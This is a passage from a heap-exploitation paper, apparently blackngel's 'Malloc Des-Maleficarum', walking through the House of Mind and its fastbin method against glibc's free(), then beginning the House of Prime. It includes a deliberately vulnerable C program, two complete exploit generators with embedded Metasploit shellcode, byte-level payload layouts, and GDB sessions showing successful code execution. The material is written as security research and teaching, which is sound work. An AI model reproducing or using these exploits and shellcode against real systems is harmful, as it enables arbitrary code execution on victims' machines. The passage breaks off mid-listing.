   1st Bit     -bins[0]-                     2nd Bit 

   [ .......... .dtors+4-8 ] [0x0804a008 ... ] [jmp 0xc ...... (Shellcode)]  

   |                         |                 | 

   0x0804a008                0x08100000        0x08100298 

 

When application finishes running DTORS, therefore the jump is executed, 

and our Shellcode. 

 

Although the idea was good, K-special warned us that "unsorted_chunks ()", 

in fact, did not return the value of "av->bins[0]," but it returns its 

address "&". 

 

Let's take a look: 

 

   #define bin_at(m, i) ((mbinptr)((char*)&((m)->bins[(i)<<1]) -  

                                                (SIZE_SZ<<1))) 

   ... 

   #define unsorted_chunks(M)          (bin_at(M, 1)) 

 

Indeed, we see that "bin_at()" returns the address and not the value. 

Therefore another way must be taken. Bearing this in mind, we can do 

the next: 

 

   bck = &av->bins[0];                     /* Address of ...   */ 

   fwd = bck->fd = *(&av->bins[0] + 8);    /* The value of ... */ 

   fwd->bk = *(&av->bins[0] + 8) + 12 = p; 

 

  

Which means that if we control the value located in: 

"&av->bins[0] + 8" and we put there ".dtors + 4 - 12", that will be 

placed in "fwd". In the last sentence it'll be written into DTORS_END 

the address of the second chunk "p", and continue as above. 

 

But we have jumped here without crossing the road full of spines. Our 

friend Phantasmal also warned us that to run this piece of code, certain 

conditions should be met. Now we will see each of them related with its 

corresponding portion of code in the "_int_free()". 
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   1) The negative value of the overwritten chunk must 

      be less than the value of this chunk "p". 

 

      if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) ... 

 

      PLEASE NOTE: This must be a misinterpretation of language. To jump 

                   this integrity check: "-size" must be "greater" than 

                   the value of "p". 

 

   2) The size of the chunk must not be less than or equal to 

      av->max_fast. 

 

      if ((unsigned long)(size) <= (unsigned long)(av->max_fast) ... 

 

      We control the size of the overflow chunk so as "av->max_fast" 

      which is the second field of our "fakearena". 

 

   3) The bit IS_MMAPPED must not be set into the "size" field. 

 

      else if (!chunk_is_mmapped(p)) { ... 

 

      Also, we control the second least significant bit of the "size". 

 

   4) The overwrited chunk can not be av->top (Wilderness chunk). 

 

      if (__builtin_expect (p == av->top, 0)) ... 

 

   5) The NONCONTIGUOUS_BIT of av->max_fast must be set. 

 

      if (__builtin_expect (contiguous (av) ... 

 

   Designer controls "av->max_fast" and know that NONCONTIGUOUS_BIT 

   is "0x02" = "10b". 

 

   6) The PREV_INUSE bit of the next chunk must be set. 

 

      if (__builtin_expect (!prev_inuse(nextchunk), 0)) ... 

 

      This is the default in an allocated chunk. 

 

   7) The size of nextchunk must be greater than 8. 

 

      if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0) ... 

 

   8) The size of nextchunk must be less than av->system_mem 

 

      ... __builtin_expect (nextsize >= av->system_mem, 0)) ... 

 

   9) The PREV_INUSE bit of the chunk must not be set. 

 

      /* consolidate backward */ 

      if (!prev_inuse(p)) { ... 

 

      ATTENTION: Phantasmal seems wrong here, at least according to my 

                 opinion, the PREV_INUSE bit of overwritten chunk, must 

                 be set in order to bypass this check and not unlink the 

                 previous chunk. 

 

  10) The nextchunk cannot equal av->top. 

 

      if (nextchunk != av->top) { ... 
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      If we alter all the information from "av->fastbins[]" to 

      "av->bins[0]", then "av->top" will be overwritten and will 

      be almost impossible to be equal to "nextchunk". 

 

  11) The PREV_INUSE bit of the chunk after nextchunk 

      (nextchunk + nextsize) must be set. 

 

      nextinuse = inuse_bit_at_offset(nextchunk, nextsize); 

      /* consolidate forward */ 

      if (!nextinuse) { ... 

 

The path seems long and tortuous, but it is not so much when we control 

most situations. Let's go to see the vulnerable program of our friend 

K-sPecial: 

 

[-----] 

 

/* 

 * K-sPecial's vulnerable program 

 */ 

 

#include <stdio.h> 

#include <stdlib.h> 

 

int main (void) { 

   char *ptr  = malloc(1024);        /* First allocated chunk */ 

   char *ptr2;                       /* Second chunk          */ 

   /* ptr & ~(HEAP_MAX_SIZE-1) = 0x08000000 */ 

   int heap = (int)ptr & 0xFFF00000; 

   _Bool found = 0; 

 

   printf("ptr found at %p\n", ptr);  /* Print address of first chunk */ 

 

   // i == 2 because this is my second chunk to allocate 

   for (int i = 2; i < 1024; i++) { 

     /* Allocate chunks up to 0x08100000 */ 

     if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \ 

                                           (heap + 0x100000))) { 

       printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2); 

          found = 1; /* Go out */ 

          break; 

       } 

 

   } 

        malloc(1024); /* Request another chunk: (ptr2 != av->top) */ 

        /* Incorrect input: 1048576 bytes */ 

        fread (ptr, 1024 * 1024, 1, stdin);  

 

        free(ptr);   /* Free first chunk  */ 

        free(ptr2);  /* The House of Mind */ 

        return(0);   /* Bye */ 

} 

 

[-----] 

 

Note that the input allows NULL bytes without ending our string. This 

makes our task more easy. 

 

The K-sPecial's exploit create the following string: 
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[-----] 

 

 0x0804a008 

 | 

 [Ax8][0h x 4][201h x 8][DTORS_END-12 x 246][(409h-Ax1028) x 721][409h] ... 

              |                   | 

              av->max_fast        bins[0]      size 

                                               | 

 .... [(&1st chunk + 8) x 256][NOPx2-JUMP 0x0c][40Dh][NOPx8][SHELLCODE] 

              |               |                      | 

              0x08100000      prev_size (0x08100298) *mem (0x081002a0) 

 

[-----] 

 

1)  The first call to free() overwrites the first 8 bytes with garbage, 

    then K-special prefer to skip this area and put into (0x08100000) 

    the address of the first chunk + 8(data area) + 8 (0x0804a010). 

    Here begins the fake arena structure. 

 

2)  Then comes "\x00\x00\x00\x00" that fills the "av->mutex" field. 

    Other value will cause that the exploit to fail. 

 

3)  "av->max_fast" get the value "102h". This satisfies the conditions 

    2 and 5: 

 

    (2) (size > max_fast) -> (40Dh > 102h) 

    (5) "\x02" NONCONTIGUOUS_BIT is set 

 

4)  Complete the first chunk with the DTORS_END (.dtors+4) address 

    minus 8. This will overwrite &av->bins[0] + 8. 

 

5)  Fill the nexts chunks until (0x08100000) with characters "A", while 

    retaining the "size" field (409h) of each chunk. Each one has 

    PREV_INUSE bit properly set. 

 

6)  To reach the address of the overwritten chunk "p", we fill with 

    the address where we will find our "fakearena", which is the 

    address of the first chunk plus 8. The goal is jump garbage bytes 

    that will be overwritten.  

 

7)  The "prev_size" field of "p" must be "nop; nop; jmp 0x0c;". It will 

    jump to our Shellcode when DTORS_END will be executed at the end of 

    the application. 

 

8)  The "size" field of "p" must be greater than the value written in 

    "av->max_fast" and also have the NON_MAIN_ARENA bit activated 

    which was the trigger for this whole story in The House of Mind. 

 

9)  A few NOPS and then our Shellcode. 

 

After understanding some very solid ideas, I was really surprised when a 

simple execution of the K-sPecial's exploit produced the following output: 

 

blackngel@linux:~$ ./exploit > file 

blackngel@linux:~$ ./heap1 < file 

ptr found at 0x804a008 

good heap allignment found on malloc() 724 (0x81002a0) 

*** glibc detected *** ./heap1: double free or corruption (out): 0x081002a0 

... 

 

In "malloc.c" this error corresponds to the integrity check: 



[3. Malloc des-maleficarum - blackngel] 

 

  Page 
111 

 
  

 

   if (__builtin_expect (contiguous (av) 

 

Let's go to see what happens with GDB: 

 

[-----] 

 

blackngel@linux:~$ gdb -q ./heap1 

(gdb) disass main 

Dump of assembler code for function main: 

..... 

..... 

0x08048513 <main+223>: call   0x804836c <free@plt> 

0x08048518 <main+228>: mov    -0x10(%ebp),%eax 

0x0804851b <main+231>: mov    %eax,(%esp) 

0x0804851e <main+234>: call   0x804836c <free@plt> 

0x08048523 <main+239>: mov    $0x0,%eax 

0x08048528 <main+244>: add    $0x34,%esp 

0x0804852b <main+247>: pop    %ecx 

0x0804852c <main+248>: pop    %ebp 

0x0804852d <main+249>: lea    -0x4(%ecx),%esp 

0x08048530 <main+252>: ret     

End of assembler dump. 

(gdb) break *main+223             /* Before first call to free() */ 

Breakpoint 1 at 0x8048513 

(gdb) break *main+228             /* After first call to free()  */ 

Breakpoint 2 at 0x8048518 

(gdb) run < file 

Starting program: /home/blackngel/heap1 < file 

ptr found at 0x804a008 

good heap allignment found on malloc() 724 (0x81002a0) 

 

Breakpoint 1, 0x08048513 in main () 

Current language:  auto; currently asm 

(gdb) x/16x 0x0804a008 

0x804a008: 0x41414141 0x41414141 0x00000000 0x00000102 

0x804a018: 0x00000102 0x00000102 0x00000102 0x00000102 

0x804a028: 0x00000102 0x00000102 0x00000102 0x08049648 

0x804a038: 0x08049648 0x08049648 0x08049648 0x08049648 

(gdb) c 

Continuing. 

 

Breakpoint 2, 0x08048518 in main () 

(gdb) x/16x 0x0804a008 

0x804a008: 0xb7fb2190 0xb7fb2190 0x00000000 0x00000000 

0x804a018: 0x00000102 0x00000102 0x00000102 0x00000102 

0x804a028: 0x00000102 0x00000102 0x00000102 0x08049648 

0x804a038: 0x08049648 0x08049648 0x08049648 0x08049648 

 

[-----] 

 

When the application stopped before the first free(), we can see our 

buffer seems to be well formed: [A x 8] [0000] [102h x 8]. 

 

But once the first call to free () is completed, as we said, the first 8 

bytes are trashed with memory addresses. Most surprising is that the 

memory 0x0804a0010(av) + 4, is set to zero (0x00000000). 

 

This position should be "av->max_fast", which being zero and not having 

NONCONTIGUOUS_BIT bit enabled, dumps the error above. This seems happens 

with the following instructions: 
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   # define mutex_unlock(m)            (*(m) = 0) 

 

... that is executed to the end of "_int_free()" with: 

 

   (void *)mutex_unlock(&ar_ptr->mutex); 

 

Anyway, if someone puts a 0 for us. What happens if we do that ar_ptr 

points to 0x0804a014? 

 

(gdb) x/16x 0x0804a014 

                // Mutex       // max_fast ? 

0x804a014: 0x00000000 0x00000102 0x00000102 0x00000102 

0x804a024: 0x00000102 0x00000102 0x00000102 0x00000102 

0x804a034: 0x08049648 0x08049648 0x08049648 0x08049648 

0x804a044: 0x08049648 0x08049648 0x08049648 0x08049648 

 

So we can save 8 bytes of garbage in the exploit and the hardcoded value 

of "mutex", and leave to free () to do the rest for us. 

 

[-----] 

 

blackngel@mac:~$ gdb -q ./heap1 

(gdb) run < file 

Starting program: /home/blackngel/heap1 < file 

ptr found at 0x804a008 

good heap allignment found on malloc() 724 (0x81002a0) 

 

Program received signal SIGSEGV, Segmentation fault. 

0x081002b2 in ?? () 

(gdb) x/16x 0x08100298 

0x8100298: 0x90900ceb 0x00000409 0x08049648 0x0804a044 

0x81002a8: 0x00000000 0x00000000 0x5bf42474 0x5e137381 

0x81002b8: 0x83426ac9 0xf4e2fceb 0xdb32c234 0x6f02af0c 

0x81002c8: 0x2a8d403d 0x4202ba71 0x2b08e636 0x10894030 

(gdb)  

 

[-----] 

 

It seems that the second chunk "p", again suffer the wrath of free(). 

PREV_SIZE field is OK, SIZE field is OK, but the 8 NOPS are trashed with 

two memory addresses and 8 bytes NULL. 

 

Note that after the call to "unsorted_chunks()", we have two sentences 

like these: 

 

      p->bk = bck; 

      p->fd = fwd; 

  

It is clear that both pointers are overwritten with the address of the 

previous and next chunks to our overflowed chunk "p". 

 

What happens if we place 16 NOPS? 

 

[-----] 

/* 

 * K-sPecial exploit modified by blackngel 

 */ 

 

#include <stdio.h> 
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/* linux_ia32_exec -  CMD=/usr/bin/id Size=72 Encoder=PexFnstenvSub 

http://metasploit.com */ 

unsigned char scode[] = 

"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e" 

"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f" 

"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10" 

"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26" 

"\x5e\x9e\x39\xcb\xbf\x04\xea\x42"; 

 

int main (void) { 

 

     int i, j; 

 

   for (i = 0; i < 44 / 4; i++) 

          fwrite("\x02\x01\x00\x00", 4, 1, stdout); /* av->max_fast-12 */ 

 

   for (i = 0; i < 984 / 4; i++) 

          fwrite("\x48\x96\x04\x08", 4, 1, stdout); /* DTORS_END - 8   */ 

 

   for (i = 0; i < 721; i++) { 

          fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* PRESERVE SIZE   */ 

          for (j = 0; j < 1028; j++) 

                  putchar(0x41);                    /* PADDING         */ 

   } 

   fwrite("\x09\x04\x00\x00", 4, 1, stdout); 

 

   for (i = 0; i < (1024 / 4); i++) 

          fwrite("\x14\xa0\x04\x08", 4, 1, stdout); 

 

   fwrite("\xeb\x0c\x90\x90", 4, 1, stdout); /* prev_size -> jump 0x0c */ 

 

   fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size -> NON_MAIN_ARENA */ 

 

   fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \ 

          "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout);  /* NOPS */ 

 

   fwrite(scode, sizeof(scode), 1, stdout); /* SHELLCODE */ 

 

   return 0; 

} 

 

[-----] 

 

blackngel@linux:~$ ./exploit > file 

blackngel@linux:~$ ./heap1 < file 

ptr found at 0x804a008 

good heap allignment found on malloc() 724 (0x81002a0) 

uid=1000(blackngel) gid=1000(blackngel) groups=4(adm),20(dialout), 

24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video), 

46(plugdev),104(scanner),108(lpadmin),110(admin),115(netdev), 

117(powerdev),1000(blackngel),1001(compiler) 

blackngel@linux:~$  

 

We have succeeded! Up to this point, you could think that the first of 

conditions for The House of Mind (a piece of memory allocated in an 

address like 0x08100000) seems impossible from a practical point of view. 

 

But this must be considered again for two reasons: 

 

   1) You can to allocate a big amount of memory. 

   2) The user can control this amount. 
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Is that true? 

 

Well, yes, if we go back in time. Even at the same vulnerability in 

is_modified() function of CVS. We can see the function corresponding to 

the command "entry" of that service: 

 

[-----] 

 

 static void serve_entry (arg) 

       char *arg; 

 { 

     struct an_entry *p; char *cp; 

 

     [...] 

     cp = arg; 

     [...] 

     p = xmalloc (sizeof (struct an_entry)); 

     cp = xmalloc (strlen (arg) + 2); strcpy (cp, arg); p->next = entries; 

     p->entry = cp; 

     entries = p; 

 } 

 

[-----] 

 

How vl4d1m1r said, the heap layout will looked something like this: 

 

   [an_entry][buffer][an_entry][buffer]...[Wilderness] 

 

These chunks will not be free()ed until the function 

server_write_entries() is called with the "noop" command. Note that in 

addition to controlling the number of allocated chunks, you can control 

the length too. 

 

You can find this theory much better explained in the article "The Art of 

Exploitation: Come on back to exploit [10] published by vl4d1m1r of 

Ac1dB1tch3z in Phrack 64. 

 

The old exploit used the technique unlink () to accomplish its purpose. 

This was for the glibc versions where this feature was not yet patched. 

 

I'm not saying that The House of Mind is applicable to this vulnerability, 

but rather that meets certain conditions. It would be an exercise for the 

more advanced reader. 

 

I have checked this House in a Linux distro with GLIBC 2.8.90. 

 

We arrived, after a long journey, to The House of Mind. 

 

 

 

                  << Si el unico instrumento de que se 

                     dispone es un martillo, todo acaba 

                     pareciendo un clavo. >> 

 

                                        [ Lotfi Zadeh ] 
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               -------------------- 

---[ 4.1.1 ---[   FASTBIN METHOD   ]--- 

               -------------------- 

 

As a new technique, I established in this paper a practical solution to 

"Fastbin method" in The House of Mind, which was only exposed of 

theoretical mode in the papers of Phantasmal and K-sPecial, and also 

contained certain elements which were wrongly interpreted. 

 

Both, K-special and Phantasmal said practically the same in their 

documents about this method. The basic idea was to trigger following code: 

 

[-----] 

 

  if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) { 

   if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) 

 || __builtin_expect (chunksize (chunk_at_offset (p, size)) 

        >= av->system_mem, 0)) 

      { 

 errstr = "free(): invalid next size (fast)"; 

 goto errout; 

      } 

 

    set_fastchunks(av); 

    fb = &(av->fastbins[fastbin_index(size)]); 

    if (__builtin_expect (*fb == p, 0)) 

      { 

 errstr = "double free or corruption (fasttop)"; 

 goto errout; 

      } 

    printf("\nbDebug: p = 0x%x - fb = 0x%x\n", p, fb); 

    p->fd = *fb; 

    *fb = p; 

  } 

 

[-----] 

  

As this code is located after the first integrity check in "_int_free()", 

the main advantage is that we should not worry about the following tests.  

This may appear to be a task easier than previous method, but in reality 

it is not. 

 

The core of this technique is in place "fb" to the address of an entry of 

".dtors" or "GOT". Thanks to "The House of Prime" (first house discussed 

in Malloc Maleficarum), we know how to accomplish this. 

 

If we hack the "size" field of the overflowed chunk passed to free() and 

sets it to 8, "fastbin_index()" returned the following value: 

 

   #define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) - 2) 

 

   (8 >> 3) - 2 = -1 

 

Then: 

 

   &(av->fastbins[-1]) 

 

And as in an arena structure (malloc_state) the previous item to 

fastbins[] matrix is "av->maxfast" (they are contiguous), the address 

where is this value will be placed in "fb". 
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In "*fb = p", the content of this address will be overwritten with the 

address of the liberated chunk "p", which as before should must contain 

a "JMP" sentence to reach the Shellcode. 

 

Seen this, if you want to use ".dtors", you should make that "ar_ptr" 

points to ".dtors" address in "public_free()", so that this address will 

be the fakearena and "av->max_fast (av + 4)" will be equal to ".dtors + 

4".  Then it will be overwritten with the address of "p". 

 

But to achieve this you have to go through a hard path. Let's see the 

conditions that we must meet: 

 

   1) The size of chunk must be less than "av->maxfast": 

 

   if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) 

 

   This is relatively the easiest, because we said that the size will be 

   equal to "8" and "av->max_fast" will be the address of a destructor. 

   It should be clear that in this case "DTORS_END" is not valid because 

   it is always "\x00\x00\x00\x00" and never will be greater than "size". 

   It seems then that the most effective is to make use of the Global 

   Offset Table (GOT). 

 

   We must be aware that we say that "size" must be 8, but in order to 

   modify "ar_ptr", as in the previous technique, then NON_MAIN_ARENA bit 

   (third least significant bit) must be set. So, I think, "size" should 

   actually be: 

 

      8 = 1000b | 100b = 4 | 8 + NON_MAIN_ARENA = 12 = [0x0c] 

 

      With PREV_INUSE bit set: 1101b = [0x0d]  

 

 

   2) The size of contiguous chunk (next chunk) to "p" must be greater 

      than "8": 

 

   __builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) 

 

   This is no problem, right? 

 

   3) The same chunk, at time, must be less than "av->system_mem": 

 

   __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av-

>system_mem, 0) 

 

  

   This is perhaps the most complicated step. Once established ar_ptr(av) 

   in ".dtors" or "GOT", the "system_mem" item in "malloc_state" structure 

   is beyond 1848 bytes. 

 

   GOT is almost contiguous to DTORS. In small applications the GOT table 

   also is relatively small. For this reason it is normal to find in the 

   av->system_mem position a lot of zero bytes. Let's see: 

 

   [-----] 

 

   blackngel@linux:~$ objdump -s -j .dtors ./heap1 

   ... 

   Contents of section .dtors: 

   8049650 ffffffff 00000000 

                    ........         
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   blackngel@mac:~$ gdb -q ./heap1 

   (gdb) break main 

   Breakpoint 1 at 0x8048442 

   (gdb) run < file 

   ... 

   Breakpoint 1, 0x08048442 in main () 

   (gdb) x/8x 0x08049650 

   0x8049650 <__DTOR_LIST__>: 0xffffffff 0x00000000 0x00000000 0x00000001 

   0x8049660 <_DYNAMIC+4>:    0x00000010 0x0000000c 0x0804830c 0x0000000d 

   (gdb) x/8x 0x08049650 + 1848 

   0x8049d88: 0x00000000   0x00000000   0x00000000   0x00000000 

   0x8049d98: 0x00000000   0x00000000   0x00000000   0x00000000  

 

   [-----] 

 

   This technique appears to be only apply to large programs. Unless, 

   as Phantasmal said, we can use the stack. How? 

 

   If "ar_ptr" is set to EBP address in a function, then "av->max_fast" 

   will be EIP, which may be overwritten with the address of the chunk 

   "p", and you already know how continues. 

 

Here is ended the theory presented in the two mentioned papers. But 

unfortunately there is something that they forgot... at least it is 

something that quite surprised me from K-sPecial. 

 

We learned about the previous attack, that "av->mutex", which is the first 

item in an "arena" structure, should be equal to 0. K-special, warned us 

that otherwise, "free()" would remain in an infinite loop... 

 

What about DTORS then? 

 

".dtors" will be always "0xffffffff", otherwise it will be a destructor 

address, but never 0. 

 

You can find "0x00000000" four bytes behind of .dtors, but overwrite 

"0xffffffff" has no effect. 

 

What happens then with GOT? 

 

I do not think that you can found 0x00000000 values between each item 

within the GOT. 

 

Solutions? 

 

>From the beginning, I only explored one possible solution: 

 

The main goal would be to use the stack, as mentioned earlier. But the 

difference is that we should have a buffer overflow before that allow 

overwrite EBP with 0 bytes, so we have: 

 

   EBP = av->mutex = 0x00000000 

   EIP = av->max_fast = &(p) 

   *p     = "jmp 0x0c" 

   *p + 4 = 0x0c o 0x0d 

   *p + 8 = NOPS + SHELLCODE  

 

But a little magic can do wonders... 

 

 

---------------- 
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 FINAL SOLUTION 

---------------- 

 

Phantasmal and K-sPecial thought to use only "av->maxfast" to overwrite 

then this memory location with the address of the chunk "p". 

 

But because we control the entire arena "av", can we afford make a new 

analysis of "fastbin_index()" for a size argument of 16 bytes: 

 

   (16 >> 3) - 2 = 0 

 

So we obtain: fb = &(av->fastbins [0]), and if we get this, we can 

use the stack to overwrite EIP. How? 

 

If our vulnerable code is into fvuln() function, EBP and EIP will be 

pushed in the stack at the prologue, and what there is behind EBP? If no 

user data then usually you can find a "0x00000000" value. If we use 

"av->fastbins[0]" and not "av->maxfast", we have the following: 

 

   [ 0xRAND_VAL ]  <->  av + 1848 = av->system_mem 

    ............ 

   [     EIP    ]  <->  av->fastbins[0] 

   [     EBP    ]  <->  av->max_fast 

   [ 0x00000000 ]  <->  av->mutex 

 

  

In "av + 1848" is normal to find addresses or random values for 

"av->system_mem" and so we can pass the checks to reach the final 

code of "fastbin". 

 

The "size" field of "p" must be 16 with NON_MAIN_ARENA and PREV_INUSE 

bits enabled. Then: 

 

   16 = 10000 | NON_MAIN_ARENA and PREV_INUSE = 101 | SIZE = 10101 = 0x15h 

 

  

And we can control the "size" field of the next chunk to be greater than 

"8" and less than "av->system_mem". If you look at the code above you will 

note that this field is calculated from the offset of "p", therefore, 

this field is virtually in "p + 0x15", which is an offset of 21 bytes. 

 

If we write a value of "0x09" in that position it will be perfect. 

 

But this value will be in the middle of our NOPS filler and we should make 

a small change in the "JMP" sentence in order to jump farthest. Something 

like 16 bytes will be sufficient. 

 

For the Proof of Concept, I modified "aircrack-2.41" adding in main() the 

following code: 

 

[-----] 

 

  int fvuln() 

  { 

       // Make something stupid here. 

  } 

 

   int main( int argc, char *argv[] ) 

   { 

       int i, n, ret; 

       char *s, buf[128]; 
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       struct AP_info *ap_cur; 

 

       fvuln(); 

   ... 

 

[-----] 

 

The next code exploit the vulnerability: 

 

[-----] 

 

/* 

 * FastBin Method - exploit 

 */ 

 

#include <stdio.h> 

 

/* linux_ia32_exec -  CMD=/usr/bin/id Size=72 Encoder=PexFnstenvSub  

http://metasploit.com */ 

unsigned char scode[] = 

"\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e" 

"\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f" 

"\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10" 

"\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26" 

"\x5e\x9e\x39\xcb\xbf\x04\xea\x42"; 

 

int main (void) { 

 

        int i, j; 

 

        for (i = 0; i < 1028; i++)                            /* FILLER  */ 

                putchar(0x41); 

 

        for (i = 0; i < 518; i++) { 

                fwrite("\x09\x04\x00\x00", 4, 1, stdout); 

                for (j = 0; j < 1028; j++) 

                        putchar(0x41); 

        } 

        fwrite("\x09\x04\x00\x00", 4, 1, stdout); 

 

        for (i = 0; i < (1024 / 4); i++) 

                fwrite("\x34\xf4\xff\xbf", 4, 1, stdout);    /*  EBP - 4 */ 

 

        fwrite("\xeb\x16\x90\x90", 4, 1, stdout);            /* JMP 0x16 */ 

 

        fwrite("\x15\x00\x00\x00", 4, 1, stdout);  /* 16 + N_M_A + P_INU */ 

         

        fwrite("\x90\x90\x90\x90" \ 

               "\x90\x90\x90\x90" \ 

               "\x90\x90\x90\x90" \ 

               "\x09\x00\x00\x00" \                   /* nextchunk->size */ 

               "\x90\x90\x90\x90", 20, 1, stdout); 

                        

 

        fwrite(scode, sizeof(scode), 1, stdout);      /* THE MAGIC CODE  */ 

 

        return(0); 

} 

 

[-----] 
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Let's now see it in action: 

 

[-----] 

 

blackngel@linux:~$ gcc ploit1.c -o ploit 

blackngel@linux:~$ ./ploit > file 

blackngel@linux:~$ gdb -q ./aircrack 

 

(gdb) disass fvuln 

Dump of assembler code for function fvuln: 

......... 

......... 

0x08049298 <fvuln+184>: call   0x8048d4c <free@plt> 

0x0804929d <fvuln+189>: movl   $0x8056063,(%esp) 

0x080492a4 <fvuln+196>: call   0x8048e8c <puts@plt> 

0x080492a9 <fvuln+201>: mov    %esi,(%esp) 

0x080492ac <fvuln+204>: call   0x8048d4c <free@plt> 

0x080492b1 <fvuln+209>: movl   $0x8056075,(%esp) 

0x080492b8 <fvuln+216>: call   0x8048e8c <puts@plt> 

0x080492bd <fvuln+221>: add    $0x1c,%esp 

0x080492c0 <fvuln+224>: xor    %eax,%eax 

0x080492c2 <fvuln+226>: pop    %ebx 

0x080492c3 <fvuln+227>: pop    %esi 

0x080492c4 <fvuln+228>: pop    %edi 

0x080492c5 <fvuln+229>: pop    %ebp 

0x080492c6 <fvuln+230>: ret     

End of assembler dump. 

 

(gdb) break *fvuln+204                         /* Before second free() */ 

Breakpoint 1 at 0x80492ac: file linux/aircrack.c, line 2302. 

 

(gdb) break *fvuln+209                         /* After second free() */ 

Breakpoint 2 at 0x80492b1: file linux/aircrack.c, line 2303. 

 

(gdb) run < file 

Starting program: /home/blackngel/aircrack < file 

[Thread debugging using libthread_db enabled] 

ptr found at 0x807d008 

good heap allignment found on malloc() 521 (0x8100048) 

 

END fread()                 /* tests when free () freezing (mutex != 0) */ 

                         

END first free()            /* tests when free () freezing (mutex != 0) */ 

[New Thread 0xb7e5b6b0 (LWP 8312)] 

[Switching to Thread 0xb7e5b6b0 (LWP 8312)] 

 

Breakpoint 1, 0x080492ac in fvuln () at linux/aircrack.c:2302 

warning: Source file is more recent than executable. 

2302         free(ptr2); 

 

/* STACK DUMP */ 

(gdb) x/4x 0xbffff434    // av->max_fast // av->fastbins[0] 

0xbffff434:   0x00000000     0xbffff518     0x0804ce52     0x080483ec 

 

(gdb) x/x 0xbffff434 + 1848  /* av->system_mem */ 

0xbffffb6c: 0x3d766d77 

 

(gdb) x/4x 0x08100048-8+20   /* nextchunk->size */ 

0x8100054:  0x00000009   0x90909090   0xe983c931   0xd9eed9f4 

(gdb) c 

Continuing. 
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Breakpoint 2, fvuln () at linux/aircrack.c:2303 

2303         printf("\nEND second free()\n"); 

 

(gdb) x/4x 0xbffff434                 // EIP = &(p) 

0xbffff434:  0x00000000   0xbffff518   0x08100040   0x080483ec 

(gdb) c 

Continuing. 

 

END second free() 

[New process 8312] 

uid=1000(blackngel) gid=1000(blackngel) groups=4(adm),20(dialout), 

24(cdrom),25(floppy),29(audio),30(dip),33(www-data),44(video), 

46(plugdev),104(scanner),108(lpadmin),110(admin),115(netdev), 

117(powerdev),1000(blackngel),1001(compiler) 

 

Program exited normally. 

 

[-----] 

 

The advantage of this method is that it does not touch at any time the EBP 

register, and thus we can skip some protection to BoF. 

 

It is also noteworthy that the two methods presented here, in The House of 

Mind, are still applicable in the most recent versions of glibc, I have 

checked it with the latest version of GLIBC 2.8.90. 

 

This time we have arrived, walking with lead foot and after a long 

journey, to The House of Mind. 

 

 

 

                 << Solo existen 10 tipos de personas: los que 

                    saben binario y los que no. >> 

 

                                                       [ XXX ] 

 

 

 

               ----------------------- 

---[ 4.1.2 ---[   av->top NIGHTMARE   ]--- 

               ----------------------- 

 

Once I had completed the study of The House of Mind, tracking down a 

little more code in search of other possible attack vectors, I found 

something like this at _int_free (): 

 

[-----] 

 

    /* 

      If the chunk borders the current high end of memory, 

      consolidate into top 

    */ 

 

    else { 

      size += nextsize; 

      set_head(p, size | PREV_INUSE); 

      av->top = p; 

      check_chunk(av, p); 

    } 
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[-----] 

 

Since we control the arena "av", we could place it in a certain location 

of the stack, such that av->top coincide exactly with a saved EIP. 

 

At this point, EIP would be overwritten with the address of our chunk "p" 

overflowed. Then one arbitrary code execution could be triggered. 

 

But my intentions were soon frustrated. To achieve execution of this code, 

in a controlled environment, we should meet one impossible condition: 

 

    if (nextchunk != av->top) { 

       ... 

    } 

 

This only happens when the chunk "p" that will be free()ed, is contiguous 

to the highest chunk, the Wilderness. 

 

At some point you might think that you control the value of av->top, but 

remember that once you place av in the stack, the control is passed to 

random values in memory, and the current value of EIP never will be equal 

to "nextchunk" unless it is possible one classic stack-overflow, then I 

don't know that you do reading this article... 

 

That I just want to prove, that for better or for worse, all possible ways 

should be examined carefully. 

 

 

 

                    << Hasta ahora las masas han ido 

                       siempre tras el hechizo. >> 

 

                                      [ K. Jaspers ] 

 

 

 

             ------------------------ 

---[ 4.2 ---[   THE HOUSE OF PRIME   ]--- 

             ------------------------ 

  

Thus seen to date, I do not want to dwell too much. The House of Prime is, 

unquestionably, one of the most elaborated techniques in Malloc 

Maleficarum . The result of a virtual adept. 

 

However, as mentioned Phantasmal well, it is the least useful of all them 

at first. While bearing in mind that The House of Mind requires a chunk of 

memory located in 0x08100000, this should not be left aside. 

 

To perform this technique will be needed tow calls to free() over two 

chunks of memory that should be under designer's control, and one future 

call to "malloc ()". 

 

The goal here, it sould be clear, it is not overwrite any memory address 

(even if it's necessary to completion of the technique), but make that 

one call to "malloc()" returns an arbitrary memory address. Then, if we 

can control this area doing that it will fall in the stack, we could take 

total control of application. 

 

A final requirement is that the designer must control what is written in 

this allocated chunk, so if we put it on the stack, relatively close to 

EIP, this register can be overwritten with a arbitrary value. And you 
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already know as follows... 

 

Let's see a vulnerable program: 

 

[-----] 

 

#include <stdio.h> 

#include <string.h> 

